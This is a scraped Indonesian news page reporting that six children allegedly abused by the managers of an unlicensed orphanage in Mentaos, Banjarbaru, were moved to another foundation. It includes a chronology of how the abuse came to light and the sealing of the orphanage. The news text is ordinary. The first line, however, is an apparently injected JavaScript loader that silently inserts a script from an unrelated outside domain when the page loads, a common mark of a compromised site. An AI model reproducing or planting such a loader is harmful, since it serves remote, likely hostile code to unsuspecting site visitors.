(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Enam Anak Korban Penganiayaan Pengasuh Panti Dititipkan ke Yayasan Lain, Berikut Kronologinya


KANALKALIMANTAN.COM, BANJARBARU – Enam anak yang diduga dianiaya pengelola Griya Yatim Dhuafa di Jalan Pangeran Suriansyah Ujung, Kelurahan Mentaos, Kota Banjarbaru, dititipkan di salah satu yayasan yang ada di Kota Banjarbaru.

Hal ini diungkapkan Kepala Bidang Pemberdayaan Perempuan dan Perlindungan Anak (P3A) Dinas Pengendalian Penduduk Keluarga Berencana Pemberdayaan Masyarakat Perempuan dan Perlindungan Anak (DP2KBPMP2A) Kota Banjarbaru, Siti Masliani. Dia mengatakan, saat pihaknya menerima laporan dari kelurahan, tim langsung melakukan penjangkauan bersama. Dilakukan penulusuran dan berhasil menemukan salah seorang anak berada di rumahnya.

“Berdasarkan info yang didapat, orangtuanya tidak mampu membiayai dia, artinya anak ini tidak layak tinggal dengan orangtuanya, orangtuanya meminta untuk tinggal di panti,” ujarnya.

 

Baca juga  : Disebut Bergantian Beri Hukuman, Dua Pengasuh Terduga Penganiaya Anak Yatim Diamankan ke Polres Banjarbaru

Berdasarkan latar belakang tersebut, pihaknya mengambil keputusan agar layak hidupnya dengan memindahkan ke yayasan lain.

“Sementara anak-anak lain kita amankan bersama mereka,” katanya.

Adapun kronologi terbongkarnya kejadian ini bermula dari laporan masyarakat kepada pihak kelurahan.

“Laporan kita dapat dari warga dan anak yang kabur dari Griya Yatim tersebut,” ungkap Lurah Mentaos, Zulhulaifah.

Dijelaskannya, dalam rumah yatim tersebut hanya ada 6 anak. Namun, dimasukkan 3 anak terduga pelaku, sehingga ada 9 orang. Bahkan, kata Zulhulaifah perlakukan 3 anaknya sangat berbeda dari 6 orang anak yatim tersebut.

“Sebenarnya hanya ada 6 anak di sana, 3 anak dijadikan bagian dari anak yatim dari anak mereka,” ujarnya.

Baca juga  : 6 Anak Yatim Diduga Dianiaya Pengelola, Satpol PP Banjarbaru Tutup Rumah Yatim Dhuafa di Mentaos

Dijelaskan Zulhulaifah, penganiayaan terhadap kepada 6 anak yatim ini sudah dilakukan sedari lama dengan menghukum mereka secara fisik.

“Setelah divisum tadi ada yang bekas pukul kayu, ada disiram dengan air panas, ada dipukul dengan sendal, ada bekas cubitan, hukumannya lebih ke fisik,” jelasnya.

Dengan adanya kejadian ini, kata Zulhulaifah, Griya Panti Dhuafa disegel dan dilarang beroperasi, karena perizinannya sudah tidak aktif alias ilegal.(Kanalkalimantan.com/ibnu)

Reporter  : ibnu
Editor : cell


Desy Arfianty

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

4 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

6 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

7 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

7 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

10 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

11 jam ago

This website uses cookies.